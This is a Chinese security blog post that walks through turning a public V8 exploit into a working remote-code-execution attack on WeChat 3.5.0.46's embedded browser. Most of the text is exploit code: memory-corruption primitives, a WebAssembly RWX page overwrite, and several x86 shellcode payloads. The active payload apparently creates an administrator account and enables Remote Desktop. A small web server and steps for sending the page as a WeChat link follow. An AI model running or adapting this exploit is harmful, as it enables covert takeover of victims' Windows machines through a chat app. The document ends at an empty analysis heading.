作者:lxraa@識鏈實驗室
前言
由于無法繞過沙箱,該漏洞已被忽略。

谷歌在V8相關漏洞修復一段時間后,會公布(https://bugs.chromium.org/)漏洞的poc,有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一個版本,由于不同版本V8的數據結構有變化,造成堆布局不同,公布的exp在非實驗環境往往不能直接使用,本文以最新版微信遠程命令執行為例介紹了從exp到實際環境利用腳本的構造過程中可能存在的問題及解決方案。
調試環境
微信3.5.0.46

UA:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6305002e)
V8:8.1.307.32 32位(由UA判斷,不一定準確,不過不知道準確版本也能調試)
EXP
poc2.html
<html>
<head>
</head>
<body>
exp
<br>
</body>
<script>
function print(text){
alert(text+"<br>");
}
cvt_buf = new ArrayBuffer(8);
cvt_f64a = new Float64Array(cvt_buf);
cvt_u64a = new BigUint64Array(cvt_buf);
cvt_u32a = new Uint32Array(cvt_buf);
function ftoi(f) { // float -> bigint
cvt_f64a[0] = f;
return cvt_u64a[0];
}
function itof(i) { // bigint -> float
cvt_u64a[0] = i;
return cvt_f64a[0];
}
function lower(i) {
return Number(i % (2n**32n));
}
function upper(i) {
return Number(i / (2n**32n));
}
function pair(h,l) {
return BigInt(h) * (2n**32n) + BigInt(l);
}
// todo
function leak_array_map(arg_true, obj,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3+30*(1+confused));
arr[0] = 1e64; // make sure arr is of type double
arr[1] = 2e64;
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();
//v0應該是arr2最后一個元素
let v0 = iter.next();
let v1 = iter.next();
return [v0.value, v1.value, arr2];
}
function leak_addr_helper(arg_true, obj,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31;
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5;
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]={};
arr2[1] = obj;
arr2[0] = 0x1337;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();iter.next();
let v1 = iter.next().value;
return v1;
}
function fake_obj_helper(arg_true, val,flag) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31;
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //smi和obj的堆布局有不同,這里不要動
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0;
arr2[0] = val;
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0應該是arr2的長度,即5
let v0 = iter.next();
let v1 = iter.next();
return [v0.value,v1.value];
}
print("start");
let obj = new Array(128);
for (i=0; i < 3000; i+=1) leak_addr_helper(true,obj,false);
alert("jit1");
let arr = new Array(128);
for (i=0; i < 3000; i+=1){
leak_array_map(true,arr,false);
}
print("jit2");
for (i=0; i < 10**4; i+=1) fake_obj_helper(true,2.567347528655259e-289,false);
fake_obj_helper(true,1.2132797677859895e-279,true);
alert("end of jit optimization");
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]);
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | " +res[1]);
function addrof(obj) {
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);
if (l == (0x1337 << 1)) print("[*]lower data match");
return u;
}
function fakeobj(addr) {
// given a tagged, compressed pointer, return the fake object at that place
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0])
return res[1];
}
let foo_arr = [0.0, 1.1, 2.2, 3.3, 4.4];
let foo_content_addr = addrof(foo_arr) + 32;
print("[*] addr of foo_arr:"+foo_content_addr.toString(16));
let rw_arr = [itof(pair(0x13361336,0x13361336)),1.1,0.0,array_map_leak,60.0,0.0];
let rw_arr_addr = addrof(rw_arr);
print("[*] array_map_leak:"+ftoi(array_map_leak).toString(16));
let rw_arr_content_addr = rw_arr_addr - 0x38;
print("[*] rw_arr_content_addr:"+rw_arr_content_addr.toString(16));
let r = fakeobj(rw_arr_content_addr+0x20);
function read64(addr) {
// print("addr:0x"+addr.toString(16));
// rw_arr[4] = itof(pair(50, addr-8));
rw_arr[4] = itof(pair(50, addr-8));;
return ftoi(r[0]);
}
function write64(addr,data){
rw_arr[4] = itof(pair(50, addr-8));
r[0] = itof(data);
}
print("before alloc wasm");
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
print("after alloc wasm");
let wasm_instance_addr = addrof(wasmInstance);
print("[*] wasm_instance_addr 0x" + wasm_instance_addr.toString(16));
// winexec calc.exe
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68,0x2e,0x65,0x78,0x65, 0x68,0x63,0x61,0x6c,0x63, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68, 46, 101, 120, 101, 0x68, 99, 97, 108, 99, 0x68 ,109, 51, 50, 92, 0x68, 121, 115 ,116, 101, 0x68, 119, 115, 92, 83, 0x68,105, 110, 100, 111, 0x68,67,58,92,87, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
// createProcessA
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x48,0x10,0x31,0xdb,0x8b,0x59,0x3c,0x01,0xcb,0x8b,0x5b,0x78,0x01,0xcb,0x8b,0x73,0x20,0x01,0xce,0x31,0xd2,0x42,0xad,0x01,0xc8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x73,0x1c,0x01,0xce,0x8b,0x14,0x96,0x01,0xca,0x89,0xd6,0x89,0xcf,0x31,0xdb,0x68,0x79,0x41,0x41,0x41,0x66,0x89,0x5c,0x24,0x01,0x68,0x65,0x6d,0x6f,0x72,0x68,0x65,0x72,0x6f,0x4d,0x68,0x52,0x74,0x6c,0x5a,0x54,0x51,0xff,0xd2,0x83,0xc4,0x10,0x31,0xc9,0x89,0xca,0xb2,0x54,0x51,0x83,0xec,0x54,0x8d,0x0c,0x24,0x51,0x52,0x51,0xff,0xd0,0x59,0x31,0xd2,0x68,0x73,0x41,0x42,0x42,0x66,0x89,0x54,0x24,0x02,0x68,0x6f,0x63,0x65,0x73,0x68,0x74,0x65,0x50,0x72,0x68,0x43,0x72,0x65,0x61,0x8d,0x14,0x24,0x51,0x52,0x57,0xff,0xd6,0x59,0x83,0xc4,0x10,0x31,0xdb,0x68,0x65,0x78,0x65,0x41,0x88,0x5c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x8d,0x1c,0x24,0x31,0xd2,0xb2,0x44,0x89,0x11,0x8d,0x51,0x44,0x56,0x31,0xf6,0x52,0x51,0x56,0x56,0x56,0x56,0x56,0x56,0x53,0x56,0xff,0xd0,0x5e,0x83,0xc4,0x08,0x31,0xdb,0x68,0x65,0x73,0x73,0x41,0x88,0x5c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x8d,0x1c,0x24,0x53,0x57,0xff,0xd6,0x31,0xc9,0x51,0xff,0xd0
// ];
// calc
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e
// ,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43
// ,0x3c,0x8b,0x7c,0x03,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b,0x45,0xfc,0x8b
// ,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75
// ,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61
// ,0xc3,0x68,0x98,0xfe,0x8a,0x0e,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x14,0x31,0xc0
// ,0x50, 0x68,0x2e,0x65,0x78,0x65, 0x68,0x63,0x61,0x6c,0x63, 0x54,0x5b,0x31,0xc0,0x50,0x53,0xff,0x55,0x10,0x31,0xc0,0x50,0x6a,0xff //0x68 push dword 0x636c6163 clac push dword 0x6578652e exe.
// ,0xff,0x55,0x14,0x90,0x90,0x90,0x90
// ];
//shellexecutea calc.exe
// var shellcode = [
// 0x31,0xc9,0x64,0x8b,0x41,0x30,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x89,0xd6,0x31,0xff,0x89,0xdf,0x31,0xc9,0x51,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f,0x61,0x64,0x54,0x53,0xff,0xd2,0x83,0xc4,0x0c,0x31,0xc9,0x68,0x65,0x73,0x73,0x42,0x88,0x4c,0x24,0x03,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x54,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x83,0xc4,0x0c,0x31,0xc9,0x51,0x68,0x64,0x6c,0x6c,0x41,0x88,0x4c,0x24,0x03,0x68,0x6c,0x33,0x32,0x2e,0x68,0x73,0x68,0x65,0x6c,0x54,0x31,0xd2,0x89,0xfa,0x89,0xc7,0xff,0xd2,0x83,0xc4,0x0b,0x31,0xc9,0x68,0x41,0x42,0x42,0x42,0x88,0x4c,0x24,0x01,0x68,0x63,0x75,0x74,0x65,0x68,0x6c,0x45,0x78,0x65,0x68,0x53,0x68,0x65,0x6c,0x54,0x50,0xff,0xd6,0x83,0xc4,0x0d,0x31,0xc9,0x68,0x65,0x78,0x65,0x41,0x88,0x4c,0x24,0x03,0x68,0x63,0x6d,0x64,0x2e,0x54,0x59,0x31,0xd2,0x42,0x52,0x31,0xd2,0x52,0x52,0x51,0x52,0x52,0xff,0xd0,0xff,0xd7
// ];
// WinExec("cmd.exe",0)
// var shellcode = [
// 0x31,0xc9,0x64,0xa1,0x30,0x00,0x00,0x00,0x8b,0x40,0x0c,0x8b,0x70,0x14,0xad,0x96,0xad,0x8b,0x58,0x10,0x8b,0x53,0x3c,0x01,0xda,0x8b,0x52,0x78,0x01,0xda,0x8b,0x72,0x20,0x01,0xde,0x31,0xc9,0x41,0xad,0x01,0xd8,0x81,0x38,0x47,0x65,0x74,0x50,0x75,0xf4,0x81,0x78,0x04,0x72,0x6f,0x63,0x41,0x75,0xeb,0x81,0x78,0x08,0x64,0x64,0x72,0x65,0x75,0xe2,0x8b,0x72,0x24,0x01,0xde,0x66,0x8b,0x0c,0x4e,0x49,0x8b,0x72,0x1c,0x01,0xde,0x8b,0x14,0x8e,0x01,0xda,0x31,0xf6,0x52,0x5e,0x31,0xff,0x53,0x5f,0x31,0xc9,0x51,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6e,0x45,0x89,0xe1,0x51,0x53,0xff,0xd2,0x31,0xc9,0x51,0x68,0x65,0x73,0x73,0x00,0x68,0x50,0x72,0x6f,0x63,0x68,0x45,0x78,0x69,0x74,0x89,0xe1,0x51,0x57,0x31,0xff,0x89,0xc7,0xff,0xd6,0x31,0xf6,0x50,0x5e,0x31,0xc9,0x51,0x68,0x65,0x78,0x65,0x00,0x68,0x63,0x6d,0x64,0x2e,0x89,0xe1,0x6a,0x00,0x51,0xff,0xd7,0x6a,0x00,0xff,0xd6,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00
// ];
//bind tcp 1337
// var shellcode = [
// 0x89,0xe5,0x81,0xc4,0xf0,0xf9,0xff,0xff,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b
// ,0x76,0x1c,0x8b,0x5e,0x08,0x8b,0x7e,0x20,0x8b,0x36,0x66,0x39,0x4f,0x18,0x75,0xf2,0xeb,0x06
// ,0x5e,0x89,0x75,0x04,0xeb,0x54,0xe8,0xf5,0xff,0xff,0xff,0x60,0x8b,0x43,0x3c,0x8b,0x7c,0x03
// ,0x78,0x01,0xdf,0x8b,0x4f,0x18,0x8b,0x47,0x20,0x01,0xd8,0x89,0x45,0xfc,0xe3,0x36,0x49,0x8b
// ,0x45,0xfc,0x8b,0x34,0x88,0x01,0xde,0x31,0xc0,0x99,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca
// ,0x0d,0x01,0xc2,0xeb,0xf4,0x3b,0x54,0x24,0x24,0x75,0xdf,0x8b,0x57,0x24,0x01,0xda,0x66,0x8b
// ,0x0c,0x4a,0x8b,0x57,0x1c,0x01,0xda,0x8b,0x04,0x8a,0x01,0xd8,0x89,0x44,0x24,0x1c,0x61,0xc3
// ,0x68,0x83,0xb9,0xb5,0x78,0xff,0x55,0x04,0x89,0x45,0x10,0x68,0x8e,0x4e,0x0e,0xec,0xff,0x55
// ,0x04,0x89,0x45,0x14,0x68,0x72,0xfe,0xb3,0x16,0xff,0x55,0x04,0x89,0x45,0x18,0x31,0xc0,0x66
// ,0xb8,0x6c,0x6c,0x50,0x68,0x33,0x32,0x2e,0x64,0x68,0x77,0x73,0x32,0x5f,0x54,0xff,0x55,0x14
// ,0x89,0xc3,0x68,0xcb,0xed,0xfc,0x3b,0xff,0x55,0x04,0x89,0x45,0x1c,0x68,0xd9,0x09,0xf5,0xad
// ,0xff,0x55,0x04,0x89,0x45,0x20,0x68,0xa4,0x1a,0x70,0xc7,0xff,0x55,0x04,0x89,0x45,0x24,0x68
// ,0xa4,0xad,0x2e,0xe9,0xff,0x55,0x04,0x89,0x45,0x28,0x68,0x76,0x79,0x5b,0x9f,0xff,0x55,0x04
// ,0x89,0x45,0x32,0x68,0xe5,0x49,0x86,0x49,0xff,0x55,0x04,0x89,0x45,0x36,0x89,0xe0,0x66,0xb9
// ,0x90,0x05,0x29,0xc8,0x50,0x31,0xc0,0x66,0xb8,0x02,0x02,0x50,0xff,0x55,0x1c,0x31,0xc0,0x50
// ,0x50,0x50,0xb0,0x06,0x50,0x2c,0x05,0x50,0x40,0x50,0xff,0x55,0x20,0x89,0xc6,0x31,0xc0,0x50
// ,0x66,0xb8,0x05,0x39,0xc1,0xe0,0x10,0x66,0x83,0xc0,0x02,0x50,0x54,0x5f,0x31,0xc0,0x04,0x16
// ,0x50,0x57,0x56,0xff,0x55,0x24,0xff,0x55,0x32,0x31,0xc0,0x50,0x56,0xff,0x55,0x28,0x31,0xc0
// ,0x50,0x50,0x56,0xff,0x55,0x36,0x89,0xc6,0x56,0x56,0x56,0x31,0xc0,0x50,0x50,0xb0,0x80,0x31
// ,0xc9,0xb1,0x80,0x01,0xc8,0x50,0x31,0xc0,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50,0x50
// ,0xb0,0x44,0x50,0x54,0x5f,0xb8,0x9b,0x87,0x9a,0xff,0xf7,0xd8,0x50,0x68,0x63,0x6d,0x64,0x2e
// ,0x54,0x5b,0x89,0xe0,0x31,0xc9,0x66,0xb9,0x90,0x03,0x29,0xc8,0x50,0x57,0x31,0xc0,0x50,0x50
// ,0x50,0x40,0x50,0x48,0x50,0x50,0x53,0x50,0xff,0x55,0x18,0x31,0xc0,0x50,0x6a,0xff,0xff,0x55
// ,0x04
// ];
// messageboxa
var shellcode = [
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0x6A,0x00,//push 0
// 0xFF,0x15,0x12,0x13,0x14,0x15,//call xxxx
0x89,0xe5,0x83,0xec,0x30,0x31,0xdb,0x64,0x8b,0x5b,0x30,0x8b,0x5b,0x0c,0x8b,0x5b,0x1c,0x8b,0x1b,0x8b,0x1b
,0x8b,0x43,0x08,0x89,0x45,0xfc,0x8b,0x58,0x3c,0x01,0xc3,0x8b,0x5b,0x78,0x01,0xc3,0x8b,0x7b,0x20,0x01,0xc7
,0x89,0x7d,0xf8,0x8b,0x4b,0x24,0x01,0xc1,0x89,0x4d,0xf4,0x8b,0x53,0x1c,0x01,0xc2,0x89,0x55,0xf0,0x8b,0x53
,0x14,0x89,0x55,0xec,0xeb,0x32,0x31,0xc0,0x8b,0x55,0xec,0x8b,0x7d,0xf8,0x8b,0x75,0xe8,0x31,0xc9,0xfc,0x8b
,0x3c,0x87,0x03,0x7d,0xfc,0x66,0x83,0xc1,0x0f,0xf3,0xa6,0x74,0x05,0x40,0x39,0xd0,0x72,0xe4,0x8b,0x4d,0xf4
,0x8b,0x55,0xf0,0x66,0x8b,0x04,0x41,0x8b,0x04,0x82,0x03,0x45,0xfc,0xc3,0x31,0xc0,0x66,0xb8,0x73,0x73,0x50
,0x68,0x64,0x64,0x72,0x65,0x68,0x72,0x6f,0x63,0x41,0x68,0x47,0x65,0x74,0x50,0x89,0x65,0xe8,0xe8,0xb0,0xff
,0xff,0xff,0x89,0x45,0xe4,0x31,0xd2,0x52,0x68,0x61,0x72,0x79,0x41,0x68,0x4c,0x69,0x62,0x72,0x68,0x4c,0x6f
,0x61,0x64,0x54,0xff,0x75,0xfc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xe0,0x31,0xc0,0x66,
0xb8,0x72,0x74, //mov ax 0x7472=rt
0x50 //push eax
,0x68,0x6d,0x73,0x76,0x63, //push 0x6d737663=msvc
// 0xb8,0x33,0x32, //32
// 0x50,
// 0x68,0x75,0x73,0x65,0x72,//user
0x54,0x8b,0x5d,0xe0,0xff,0xd3,0x89,0x45,0xdc,0x31,0xd2,0x66,
0xba,0x65,0x6d, //mov dx em
0x52 //push edx
,0x68,0x73,0x79,0x73,0x74, //push syst
// get MessageBoxA
//
// 0x68,0x6f,0x78,0x41,0x00,//push oxA\x0
// 0x68,0x61,0x67,0x65,0x42,//push ageB
// 0x68,0x4D,0x65,0x73,0x73,//push Mess
0x54,0xff,0x75,0xdc,0x8b,0x45,0xe4,0xff,0xd0,0x89,0x45,0xd8,0x31,0xc9,0x66,0xb9
,0x4c,0x45,0x51,
/*
push 0x42415349 ; BASI : 42415349
push 0x443d6564 ; D=ed : 443d6564
push 0x6f6d2065 ; om e : 6f6d2065
push 0x646f6d70 ; domp : 646f6d70
push 0x6f207465 ; o te : 6f207465
push 0x73206c6c ; s ll : 73206c6c
push 0x61776572 ; awer : 61776572
push 0x69662068 ; if h : 69662068
push 0x7374656e ; sten : 7374656e
*/
// 0x68,0x49,0x53,0x41,0x42,
// 0x68,0x64,0x65,0x3d,0x44,
// 0x68,0x65,0x20,0x6d,0x6f,
// 0x68,0x70,0x6d,0x6f,0x64,
// 0x68,0x65,0x74,0x20,0x6f,
// 0x68,0x6c,0x6c,0x20,0x73,
// 0x68,0x72,0x65,0x77,0x61,
// 0x68,0x68,0x20,0x66,0x69,
// 0x68,0x6e,0x65,0x74,0x73,
//------構造system參數
0x68,32,32,32,00,
0x68,46,101,120,101,
0x68,99,97,108,99,
0x54, //push esp
//--------
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
// 0x6A,0x00,
0x8b,0x45,0xd8, //mov eax,dword ptr [ebp-28h]
0xff,0xd0, //call eax
0x31,0xc9,0x51,0x68,0x2f,0x61,0x64,0x64,0x68
,0x79,0x21,0x21,0x20,0x68,0x43,0x40,0x6e,0x64,0x68,0x72,0x6e,0x55,0x32,0x68,0x75,0x20,0x54,0x75,0x68,0x69
,0x6e,0x42,0x75,0x68,0x20,0x4d,0x61,0x6a,0x68,0x75,0x73,0x65,0x72,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45
,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68,0x75,0x75,0x20,0x2f,0x68
,0x6a,0x69,0x6e,0x42,0x68,0x73,0x20,0x4d,0x61,0x68,0x61,0x74,0x6f,0x72,0x68,0x69,0x73,0x74,0x72,0x68,0x64
,0x6d,0x69,0x6e,0x68,0x75,0x70,0x20,0x41,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65
,0x74,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0,0x31,0xc9,0x51,0xb9,0x90,0x61,0x64,0x64,0xc1,0xe9,0x08,0x51,0x68
,0x75,0x75,0x20,0x2f,0x68,0x6a,0x69,0x6e,0x42,0x68,0x22,0x20,0x4d,0x61,0x68,0x73,0x65,0x72,0x73,0x68,0x6f
,0x70,0x20,0x55,0x68,0x65,0x73,0x6b,0x74,0x68,0x74,0x65,0x20,0x44,0x68,0x52,0x65,0x6d,0x6f,0x68,0x75,0x70
,0x20,0x22,0x68,0x6c,0x67,0x72,0x6f,0x68,0x6c,0x6f,0x63,0x61,0x68,0x6e,0x65,0x74,0x20,0x54,0x8b,0x45,0xd8
,0xff,0xd0,0x31,0xc9,0x51,0x68,0x30,0x20,0x2f,0x66,0x68,0x20,0x2f,0x64,0x20,0x68,0x57,0x4f,0x52,0x44,0x68
,0x45,0x47,0x5f,0x44,0x68,0x2f,0x74,0x20,0x52,0x68,0x6f,0x6e,0x73,0x20,0x68,0x65,0x63,0x74,0x69,0x68,0x43
,0x6f,0x6e,0x6e,0x68,0x6e,0x79,0x54,0x53,0x68,0x20,0x66,0x44,0x65,0x68,0x22,0x20,0x2f,0x76,0x68,0x72,0x76
,0x65,0x72,0x68,0x6c,0x20,0x53,0x65,0x68,0x6d,0x69,0x6e,0x61,0x68,0x5c,0x54,0x65,0x72,0x68,0x74,0x72,0x6f
,0x6c,0x68,0x5c,0x43,0x6f,0x6e,0x68,0x6c,0x53,0x65,0x74,0x68,0x6e,0x74,0x72,0x6f,0x68,0x6e,0x74,0x43,0x6f
,0x68,0x75,0x72,0x72,0x65,0x68,0x45,0x4d,0x5c,0x43,0x68,0x53,0x59,0x53,0x54,0x68,0x49,0x4e,0x45,0x5c,0x68
,0x4d,0x41,0x43,0x48,0x68,0x43,0x41,0x4c,0x5f,0x68,0x59,0x5f,0x4c,0x4f,0x68,0x22,0x48,0x4b,0x45,0x68,0x61
,0x64,0x64,0x20,0x68,0x72,0x65,0x67,0x20,0x54,0x8b,0x45,0xd8,0xff,0xd0
];
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var data_buf_address = addrof(data_buf);
print("[*]data_buf_address:0x"+data_buf_address.toString(16));
// for(var i = 0;i < 20;i++){
// print("i:"+i+" data:"+read64(wasm_instance_addr+i*8).toString(16));
// }
//注意偏移量
var buf_backing_store_addr = data_buf_address + 0x8*2;
//注意偏移量
let rwx_page = read64(wasm_instance_addr+0x40);
print("[*] rwx_page addr 0x" + (rwx_page).toString(16));
write64(buf_backing_store_addr,rwx_page);
print("write to: 0x"+buf_backing_store_addr.toString(16)+" data:0x"+rwx_page.toString(16));
var tmp2 = read64(buf_backing_store_addr);
print("tmp2:0x"+tmp2.toString(16));
for(let i = 0;i < shellcode.length;i++){
data_view.setUint8(i,shellcode[i],true);
}
alert("[*] 寫代碼成功"+rwx_page.toString(16));
f();
alert("[*]執行完畢")
</script>
</html>
server.js
const express = require("express")
const fs = require("fs")
const app = express()
const path = require("path")
const https = require("https")
app.get("/test",function(req,res){
console.log("get request");
res.send("ok");
})
app.use("/",express.static(path.join(__dirname,"public")))
app.listen(443,function(){
console.log("listening 443...")
})
使用方法:
安裝nodejs,在server.js同目錄下創建public文件夾,node server.js跑起來(也可以使用自己熟悉的其他語言搭建服務器)
在微信里搞個連接,他會自己幫我們轉成link。

EXP分析
